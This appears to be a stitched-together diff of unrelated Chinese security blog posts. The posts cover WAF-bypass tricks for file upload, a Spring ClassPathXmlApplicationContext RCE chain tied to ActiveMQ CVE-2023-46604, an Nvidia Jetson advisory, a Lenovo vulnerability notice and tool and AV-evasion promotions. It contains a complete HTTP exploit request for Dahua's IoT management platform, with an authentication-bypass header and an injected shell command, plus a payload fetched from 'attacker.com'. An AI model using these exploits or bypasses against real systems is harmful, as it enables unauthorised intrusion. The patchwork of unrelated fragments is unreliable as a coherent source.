|
||||
|
||||
特性图:
|
||||
|
||||

|
||||
|
||||
写一串输出用户传递参数的代码
|
||||
|
||||

|
||||
|
||||
访问,并且传递参数
|
||||
|
||||
传递一个参数:
|
||||
|
||||

|
||||
|
||||
传递两个参数时,只会输出最后一个参数值:
|
||||
|
||||

|
||||
|
||||
利用这个特性就可以配合注释符
|
||||
(/**/)
|
||||
绕过安全狗:
|
||||
|
||||
使用注释符包裹因为中间件特性要执行的注入语句,安全狗检测到注释符就不会注释符内的内容,从而绕过安全狗。
|
||||
|
||||

|
||||
|
||||
文件上传安全狗绕过:
|
||||
|
||||
pikachu
|
||||
靶场文件上传第一关本来上传
|
||||
jpg
|
||||
图片抓包修改后缀为
|
||||
php
|
||||
即可通关,但是布置了安全狗之后无法通关。
|
||||
|
||||
被安全狗拿捏了(
|
||||
=_=
|
||||
)
|
||||
|
||||

|
||||
|
||||
1.
|
||||
去掉符号绕过
|
||||
|
||||
去掉“
|
||||
1.
|
||||
php
|
||||
”的双引号变为
|
||||
1.php
|
||||
|
||||

|
||||
|
||||
2.
|
||||
两个
|
||||
=
|
||||
或者多个
|
||||
=
|
||||
绕过——使用网站安全狗
|
||||
(
|
||||
apache
|
||||
)4.0
|
||||
版本无法绕过
|
||||
|
||||
使用两个
|
||||
=
|
||||
或者多个
|
||||
=
|
||||
绕过
|
||||
|
||||

|
||||
|
||||
3.
|
||||
后缀换行绕过——使用网站安全狗
|
||||
(
|
||||
apache
|
||||
)4.0
|
||||
版本无法绕过
|
||||
|
||||
对上传文件的后缀名进行换行
|
||||
|
||||

|
||||
|
||||
4.
|
||||
垃圾数据绕过——使用网站安全狗
|
||||
(
|
||||
apache
|
||||
)4.0
|
||||
版本无法绕过
|
||||
|
||||
在
|
||||
;
|
||||
filename="3.php"
|
||||
后面
|
||||
(
|
||||
或者前面的其他参数后面
|
||||
)
|
||||
写上很多垃圾数据,让安全狗在匹配时数据溢出,这样就无法检测到上传文件处。
|
||||
|
||||
格式:垃圾数据
|
||||
;
|
||||
filename="3.php"
|
||||
|
||||

|
||||
|
||||
5.
|
||||
参数模拟绕过
|
||||
|
||||
将文件名修改为数据包里面的参数,让安全狗误判。
|
||||
|
||||

|
||||
|
||||
网站目录也产生了上传的文件
|
||||
|
||||

|
||||
|
||||
推荐一下作者最新研发的yakit被动漏洞检测插件,可挖掘企业src漏洞。
|
||||
|
||||

|
||||
|
||||
以上漏洞都是不需要任何技巧的,作者只是开启插件在目标网站用鼠标“点点点点”就挖掘出这么多漏洞,完全
|
||||
|
||||
“零基础”“
|
||||
|
||||
零成本”挖洞
|
||||
|
||||
目前一共开发了四个插件:
|
||||
|
||||
被动
|
||||
sql
|
||||
注入检测
|
||||
|
||||
被动
|
||||
xss
|
||||
扫描优化版
|
||||
|
||||
被动目录扫描好人版
|
||||
|
||||
被动
|
||||
ssrf
|
||||
及
|
||||
log4j
|
||||
检测
|
||||
|
||||
插件使用效果:[记一次企业src漏洞挖掘连爆七个漏洞!](https://mp.weixin.qq.com/s?__biz=Mzg5NDg4MzYzNQ==&mid=2247486552&idx=1&sn=41c4e4a40fd104f53e22f5a7143c88ad&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
插件使用教程:
|
||||
[新一代SQL注入检测技术,小白也能轻松挖到漏洞!](https://mp.weixin.qq.com/s?__biz=Mzg5NDg4MzYzNQ==&mid=2247486516&idx=1&sn=8ce41df1c1c32eddb5762dc6c362a85b&poc_token=HEcld2ij2mPrmNUdYokG5LVG3B9lMQFCmGocR1XA&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
知识星球——小黑子安全圈
|
||||
[
|
||||
精华版
|
||||
]
|
||||
|
||||
开业大吉!
|
||||
|
||||
每一个插件都是非常实用的,有没有用作者也已经通过
|
||||
|
||||
企业
|
||||
src
|
||||
漏洞的挖掘来证明了,并且只需要开启插件
|
||||
|
||||
点击鼠标就可以全自动挖掘漏洞。
|
||||
|
||||
需要获取插件的小伙伴可以扫描下方二维码加入我的知识星球,星球
|
||||
99
|
||||
元
|
||||
/
|
||||
年
|
||||
|
||||
,前
|
||||
50
|
||||
个加入的
|
||||
77
|
||||
元
|
||||
/
|
||||
年。
|
||||
|
||||
加入知识星球的同学会提供
|
||||
|
||||
yakit
|
||||
|
||||
安装
|
||||
|
||||
和
|
||||
|
||||
插件
|
||||
|
||||
使用教程。
|
||||
|
||||

|
||||
|
||||
本星球只提供精华内容,没有烂大街的东西。会持续更新
|
||||
yakit
|
||||
插件和各种漏洞漏洞探针和利用工具,哪怕你是什么都不懂的小白用了插件点点鼠标就能挖到漏洞。
|
||||
|
||||
注!!!红包返现!!!拉新活动!!!
|
||||
|
||||
拉新人加入星球待满三天也会返
|
||||
20
|
||||
红包
|
||||
(
|
||||
微信直接转
|
||||
)
|
||||
。插件会一直优化和上新,欢迎大家加入星球。
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,203 @@
|
||||
# 【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法
|
||||
原创 Shelter1234 安全研究员 2025-07-21 14:00
|
||||
|
||||
ClassPathXmlApplicationContext 是 Spring 框架中的一个重要类,用于加载应用程序的上下文配置。它从类路径中读取 XML 配置文件,并根据该配置文件创建和管理 Spring 的 bean。它的构造函数接收一个 String 类型的路径参数,支持持 http://、file://、ftp://、classpath: 等多种协议。
|
||||
|
||||
new ClassPathXmlApplicationContext("http://attacker.com/poc.xml");
|
||||
|
||||
该类在初始化过程中会加载传入的 XML 文件,并解析其中的 <bean> 定义,进而触发类加载、静态代码块执行等行为,常用于构造远程代码执行(RCE)利用链。
|
||||
|
||||
|
||||
简单示例
|
||||
|
||||
假设我们有如下类
|
||||
|
||||

|
||||
|
||||
编写applicationContext.xml xml文件
|
||||
|
||||

|
||||
|
||||
使用ClassPathXmlApplicationContext进行加载
|
||||
|
||||

|
||||
|
||||
输出:得到这个bean对象 调用doSomething
|
||||
|
||||

|
||||
|
||||
假设applicationContext.xml 有如下的bean 我们则可以执行系统命令
|
||||
|
||||

|
||||
|
||||
只需创建context对象便可触发
|
||||
|
||||

|
||||
|
||||
ClassPathXmlApplicationContext 可支持的协议测试
|
||||
|
||||
1.http协议
|
||||
|
||||
使用python -m http.server -b 0.0.0.0 创建一个http服务,提供以下文件
|
||||
|
||||
(注意:加载的xml格式的文件与文件后缀无关)
|
||||
|
||||

|
||||
|
||||
ClassPathXmlApplicationContext加载,改xml格式的txt文件
|
||||
|
||||

|
||||
|
||||
执行结果
|
||||
|
||||

|
||||
|
||||
2.file协议
|
||||
|
||||

|
||||
|
||||
执行结果
|
||||
|
||||

|
||||
|
||||
3.ftp协议
|
||||
|
||||
本地起一个匿名服务器
|
||||
|
||||

|
||||
|
||||
运行结果
|
||||
|
||||

|
||||
|
||||
4.jar协议
|
||||
|
||||
jar cvf payload.jar poc.txt 生成jar包
|
||||
|
||||
测试结果
|
||||
|
||||

|
||||
|
||||
|
||||
实战中的应用
|
||||
|
||||
1. CVE-2017-17485
|
||||
|
||||
Jackson反序列化漏洞利用链
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
(关于jsckson的序列化利用姿势后面再讲解)
|
||||
|
||||
2. Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞 CVE-2023-46604
|
||||
|
||||
BaseDataStreamMarshaller 中的createThrowable方法,将会对参数进行构造方法调用,实例化一个都对象。
|
||||
|
||||

|
||||
|
||||
若参数可控,可以考虑ClassPathXmlApplicationContext的打法利用链
|
||||
|
||||
右键find useages - createThrowable
|
||||
|
||||

|
||||
|
||||
跟进其中一个looseUnmarsalThrowable进行分析
|
||||
|
||||

|
||||
|
||||
clazz 与 message 均来自dataIn,貌似是一个输入流
|
||||
|
||||
继续分析looseUnmarsalThrowable的调用
|
||||
|
||||
右键find useages - looseUnmarsalThrowable
|
||||
|
||||

|
||||
|
||||
跟进其中一个ExceptionResponseMarshaller进行分析
|
||||
|
||||

|
||||
|
||||
继续向上分析looseUnmarshal 的调用
|
||||
|
||||
最终找到一个doUnmarshal的方法
|
||||
|
||||

|
||||
|
||||
这里我们需要做如下考虑
|
||||
|
||||
1,我们需要dsm等于ExceptionResponseMarshaller ,这样就会调用ExceptionResponseMarshaller 的looseUnmarshal 方法。如此要dataType为31
|
||||
|
||||
2,this.tightEncodingEnabled 成立
|
||||
|
||||
继续分析doUnmarshal的调用
|
||||
|
||||
右键find useages - doUnmarshal
|
||||
|
||||

|
||||
|
||||
来到unmarshal 方法
|
||||
|
||||

|
||||
|
||||
继续向上
|
||||
|
||||
右键find useages - unmarshal
|
||||
|
||||

|
||||
|
||||
来到readCommand()
|
||||
|
||||

|
||||
|
||||
readCommand()<—doRun()<—run()
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
至此调用链分析就结束了
|
||||
|
||||
要想成功加载恶意类,控制dataIn中的数据即可,
|
||||
|
||||
如何制造我们想要的序列化数据呢?
|
||||
|
||||
既然有readCommand,那么就会有writeCommand
|
||||
|
||||
参考下同类下的oneway方法
|
||||
|
||||

|
||||
|
||||
有兴趣的话可以分析producer.send(message);是如何到达oneway方法的
|
||||
|
||||
(在 Apache ActiveMQ 中,当调用 producer.send(message) 发送消息时,消息的发送过程经过了几个步骤,最终会触发 oneway 方法。)
|
||||
|
||||
我们可以直接获取oneway方法,并且传入exceptionResponse
|
||||
|
||||

|
||||
|
||||
构造一个ClassPathXmlApplicationContext 它需要与ExceptionResponse 产生关联,于是便可以这样写
|
||||
|
||||

|
||||
|
||||
之后用ExceptionResponse封装这个类
|
||||
|
||||

|
||||
|
||||
有如下生成恶意的流数据,让服务端读取数据时触发异常,创建ClassPathXmlApplicationContext 对象执行代码
|
||||
|
||||

|
||||
|
||||
或者使用其他形式生成流数据
|
||||
|
||||

|
||||
|
||||
参考
|
||||
|
||||
https://blog.csdn.net/shelter1234567/article/details/137041683?spm=1011.2415.3001.5331 (自家博客)
|
||||
|
||||
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2023-46604/README.zh-cn.md
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,110 @@
|
||||
# 【安全圈】英伟达漏洞致AI与机器人平台面临远程代码执行和数据泄露风险
|
||||
安全圈 2025-07-21 11:01
|
||||
|
||||

|
||||
|
||||
|
||||
**关键词**
|
||||
|
||||
|
||||
|
||||
漏洞
|
||||
|
||||
|
||||
英伟达近日为其 AI、机器人与嵌入式边缘计算平台发布安全补丁,重点修复了 **两个高危漏洞**
|
||||
(CVE-2025-23270、CVE-2025-23269),影响广泛涉及 Jetson Orin、Xavier 系列及 IGX Orin 设备 📢 。
|
||||
|
||||
### 🔎 漏洞详情解析
|
||||
###
|
||||
#### 🔥 CVE‑2025‑23270 —— 高危 UEFI 管理漏洞(CVSS 7.1)
|
||||
- 所在:Jetson Linux 运行环境 UEFI 管理模式。
|
||||
|
||||
- 危害:本地低权限攻击者可能通过侧信道漏洞,执行任意代码、篡改数据、拒绝服务甚至造成敏感信息泄露。
|
||||
|
||||
- 原因:UEFI 隔离环境对敏感操作处理不当,硬件共享状态泄露权限边界信息。
|
||||
|
||||
|
||||
#### 🛡️ CVE‑2025‑23269 —— 内核信息泄露漏洞(CVSS 4.7)
|
||||
- 所在:Jetson Linux 内核中的微架构预测器共享机制。
|
||||
|
||||
- 危害:本地低权限用户利用瞬态执行漏洞可能读取内存敏感数据,为后续提权或链式攻击奠定基础。
|
||||
|
||||
|
||||
### 📦 受影响设备与补丁详情
|
||||
###
|
||||
<table><thead><tr><th><section style="margin-top: 0px;margin-bottom: 0px;line-height: 1.5em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 17px;">产品系列</span></span></section></th><th><section style="margin-top: 0px;margin-bottom: 0px;line-height: 1.5em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 17px;">受影响版本</span></span></section></th><th><section style="margin-top: 0px;margin-bottom: 0px;line-height: 1.5em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 17px;">修复版本</span></span></section></th></tr></thead><tbody><tr><td><span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 17px;">Jetson Orin JP5.x</span></span></span></td><td><span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 17px;">< 35.6.2</span></span></span></td><td><span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 17px;">35.6.2</span></span></span></td></tr><tr><td><span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 17px;">Jetson Orin JP6.x</span></span></span></td><td><span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 17px;">< 36.4.4</span></span></span></td><td><span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 17px;">36.4.4</span></span></span></td></tr><tr><td><section style="margin-top: 0px;margin-bottom: 0px;line-height: 1.5em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 17px;">Jetson Xavier</span></span></section></td><td><span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", Line truncated
|
||||
|
||||
所有用户应立即通过 Jetson 下载中心获取并部署最新补丁版本。
|
||||
|
||||
### 🛠 风险度测评与防御建议
|
||||
###
|
||||
- **UEFI 漏洞(23270)**属高危,影响系统完整性、可用性和隐私,攻击要求物理或本地访问,但一旦成功后果严重。
|
||||
|
||||
- **内核漏洞(23269)**虽风险中等,但可被用于多阶段攻击链。
|
||||
|
||||
###
|
||||
### 🔧 推荐缓解策略:
|
||||
1. **立即升级系统固件**
|
||||
,安装 Jetson/Linux 补丁;
|
||||
|
||||
1. 对于存在本地访问风 险的环境,建议开启物理保护及访问控制;
|
||||
|
||||
1. 在关键路径部署行为监控工具,检测异常 UEFI 操作或内核数据读取;
|
||||
|
||||
1. 隔离边缘设备所在网络,实施严格分段管理,防止侧向攻击;
|
||||
|
||||
1. 尽可能避免本地使用未经授权账号,启用最小权限原则。
|
||||
|
||||
|
||||
|
||||
|
||||
END
|
||||
|
||||
|
||||
阅读推荐
|
||||
|
||||
|
||||
[【安全圈】赶快升级!微信Windows端安全漏洞曝光 黑客可执行远程代码](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070749&idx=1&sn=050b8e30630112c924e35a27ee30ecd3&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】黑客正在利用 Wing FTP 服务器的关键 RCE 漏洞](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070749&idx=2&sn=04105f8ddc32460791073712282f5bbf&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】只需500 美元,远程操控美国火车。](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070749&idx=3&sn=0e63c4702280a1793641fe2bee920786&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】吐鲁番首例“特种设备”系统入侵,未检气瓶竟获虚假合格证!](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070725&idx=1&sn=982b3d7e4a51d4cedb62c1c5ac08a23c&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
**安全圈**
|
||||
|
||||

|
||||
|
||||
|
||||
←扫码关注我们
|
||||
|
||||
**网罗圈内热点 专注网络安全**
|
||||
|
||||
**实时资讯一手掌握!**
|
||||
|
||||
|
||||

|
||||
|
||||
**好看你就分享 有用就点个赞**
|
||||
|
||||
**支持「****安全圈」就点个三连吧!**
|
||||
|
||||

|
||||
|
||||
|
||||
@@ -0,0 +1,78 @@
|
||||
# 【漏洞复现】大华智能物联网综合管理平台 receive 命令执行漏洞
|
||||
原创 PokerSec PokerSec 2025-07-22 01:01
|
||||
|
||||
> 目前该漏洞互联网上资产基本都已修复,官方应该是做了热补丁,本文只做记录分析学习。
|
||||
|
||||
|
||||
****
|
||||
**先关注,不迷路.**
|
||||
## 免责声明
|
||||
|
||||
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
|
||||
## 漏洞介绍
|
||||
|
||||
大华智能物联综合管理平台,作为浙江大华技术股份有限公司推出的一款集成了多项业务管理功能的平台软件,该平台主要面向智能园区、商业综合体等多种应用场景,旨在提供一个全面、高效的解决方案,为客户提供一套集成、高效、开放、灵活可扩展、可定制的平台软件产品。功能全面、灵活可扩展、安全可靠的智能物联基础软件平台,能够满足企业在不同场景下的各种业务需求,助力企业实现数智化转型升级。大华智能物联综合管理平台receive和push接口存在命令执行漏洞,攻击者可利用该漏洞获取系统权限。
|
||||
## 漏洞复现
|
||||
|
||||

|
||||
|
||||
POC:
|
||||
|
||||
(这微信页面直接复制代码格式会乱,可以浏览器打开复制)
|
||||
```
|
||||
POST /evo-runs/v1.0/receivePOST /evo-runs/v1.0/push
|
||||
```
|
||||
```
|
||||
POST /evo-runs/v1.0/receive HTTP/1.1Host: xxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0Connection: closeContent-Length: 258Content-Type: application/jsonX-Subject-Headerflag: ADAPTAccept-Encoding: gzip, deflate{ "method": "agent.ossm.mapping.config", "info": { "configure": "abcd", "filePath": "haha", "paramMap": { "shellPath": "/bin/bash -c id>/opt/evoWpms/static/xxx.txt", "filePath": "abc" }, "requestIp": ""}
|
||||
```
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
## 漏洞分析
|
||||
|
||||
com/dahua/evo/runs/filter/AuthFilter.java中
|
||||
|
||||

|
||||
|
||||
直接查看doFilter 方法,根据代码备注,可以发现如果header中包含X-Subject-HeaderFlag 为ADAPT 则不鉴权(刚开始还以为是adapt poc标记呢),如果方法在set中,则不进行鉴权
|
||||
|
||||

|
||||
|
||||
看看放行方法怎么设置的,是从配置文件读取的,根据鉴权,如果在这里面的方法是可以直接调的,不在的就需要鉴权,但又可以header中包含X-Subject-HeaderFlag : ADAPT 进行绕过
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
跟进路由
|
||||
|
||||

|
||||
|
||||
解析请求体(@RequestBody
|
||||
)为 AgentMsgParam
|
||||
对象
|
||||
|
||||
调用业务服务 msgDealService.msgDeal()
|
||||
处理消息
|
||||
|
||||

|
||||
|
||||
设置为本次漏洞可利用的方法
|
||||
|
||||

|
||||
|
||||
跟进去就是runtime 执行系统命令
|
||||
|
||||

|
||||
## 修复意见
|
||||
|
||||
1.关闭互联网暴露面或接口设置访问权限
|
||||
|
||||
2.联系官方获取补丁信息:https://www.dahuatech.com/
|
||||
|
||||
|
||||
|
||||
如有侵权,请及时联系删除。
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
# 【漏洞速报】联想管家RCE?速速关机下班
|
||||
FL_Clover 网络安全007 2025-07-22 01:05
|
||||
|
||||
联想管家都RCE了?这不速速关机下班?
|
||||
|
||||
```
|
||||
原文地址:
|
||||
https://www.cnvd.org.cn/flaw/show/CNVD-2025-16450
|
||||
```
|
||||
|
||||

|
||||
<table><tbody><tr><td data-colwidth="576"><p data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: 宋体;color: red;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">免责声明:</span></span></strong></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;background-color: rgb(255, 255, 255);"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: 宋体;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">本文章仅做网络安全技术研究使用!另利用网络安全007公众号所提供的所有信息进行违法犯罪或造成任何后果及损失,均由</span><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 0, 0);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">使用者自身承担负责</span></span></strong><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">,与网络安全007公众号</span><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 0, 0);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">无任何关系</span></span></strong><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: breakLine truncated
|
||||
**●****推荐阅读●**
|
||||
|
||||
****
|
||||
**应急响应系列**
|
||||
|
||||
**未授权访问漏洞系列**
|
||||
|
||||
**Nessus漏扫神器之攻防两用**
|
||||
|
||||
**红队如何在攻防演练中一夜暴富?**
|
||||
# 浅谈Nacos漏洞之超管权限后续利用
|
||||
|
||||
****
|
||||
**超级弱口令工具+超级字典,攻防必备!**
|
||||
|
||||
**记某APP服务端渗透测试实战GetShell**
|
||||
|
||||
**日常实战渗透小技巧,掌握就无需担心漏洞产出为零!**
|
||||
|
||||
**实战|某网站未授权访问=》数据库权限=》服务器权限**
|
||||
|
||||
**全方位揭秘:50多种横向渗透提权终极技巧,一篇文章彻底掌握!**
|
||||
|
||||
写作不易,分享快乐
|
||||
|
||||
期待你的 **分享**
|
||||
●**点赞●在看●关注●收藏**
|
||||
|
||||
@@ -0,0 +1,181 @@
|
||||
# 安全测试效率翻倍!自动化资产测绘+漏洞扫描
|
||||
Autumn-27 星落安全团队 2025-07-21 16:01
|
||||
|
||||

|
||||
|
||||
点击上方
|
||||
蓝字
|
||||
关注我们
|
||||
|
||||

|
||||
|
||||
|
||||
现在只对常读和星标的公众号才展示大图推送,建议大家能把
|
||||
**星落安全团队**
|
||||
“
|
||||
**设为星标**
|
||||
”,
|
||||
否则可能就看不到了啦
|
||||
!
|
||||
|
||||

|
||||
|
||||
**工具介绍**
|
||||
|
||||
Scope Sentry是一款具有分布式资产测绘、子域名枚举、信息泄露检测、漏洞扫描、目录扫描、子域名接管、爬虫、页面监控功能的工具,通过构建多个节点,自由选择节点运行扫描任务。当出现新漏洞时可以快速排查关注资产是否存在相关组件。
|
||||
|
||||
目前功能
|
||||
```
|
||||
插件系统(通过拓展的方式加入任何工具)
|
||||
子域名枚举
|
||||
子域名接管检测
|
||||
端口扫描
|
||||
资产识别
|
||||
目录扫描
|
||||
漏洞扫描
|
||||
敏感信息泄露检测(支持扫描pdf)
|
||||
URL提取
|
||||
爬虫
|
||||
页面监控
|
||||
自定义WEB指纹
|
||||
POC导入
|
||||
资产分组
|
||||
多节点扫描
|
||||
webhook
|
||||
数据导出
|
||||
```
|
||||
|
||||
**使用截图**
|
||||
|
||||
1. 首页面板
|
||||
|
||||

|
||||
|
||||
2. 插件系统
|
||||
|
||||

|
||||
|
||||
3. 资产
|
||||
|
||||

|
||||
|
||||
4. 快捷语法搜索
|
||||
|
||||

|
||||
|
||||
|
||||
**相关地址**
|
||||
|
||||
**关注微信公众号后台回复“入群”,即可进入星落安全交流群!**
|
||||
|
||||
关注微信公众号后台回复“
|
||||
20250722
|
||||
**”,即可获取项目下载地址!**
|
||||
|
||||
****
|
||||
|
||||
|
||||
**圈子介绍**
|
||||
|
||||
博主介绍
|
||||
:
|
||||
|
||||
|
||||
目前工作在某安全公司攻防实验室,一线攻击队选手。自2022-2024年总计参加过30+次省/市级攻防演练,擅长工具开发、免杀、代码审计、信息收集、内网渗透等安全技术。
|
||||
|
||||
|
||||
目前已经更新的免杀内容:
|
||||
- 部分免杀项目源代码
|
||||
|
||||
- 一键击溃360+核晶
|
||||
|
||||
- 一键击溃windows defender
|
||||
|
||||
- 一键击溃火绒进程
|
||||
|
||||
-
|
||||
CobaltStrike4.9.1Linux星落专版
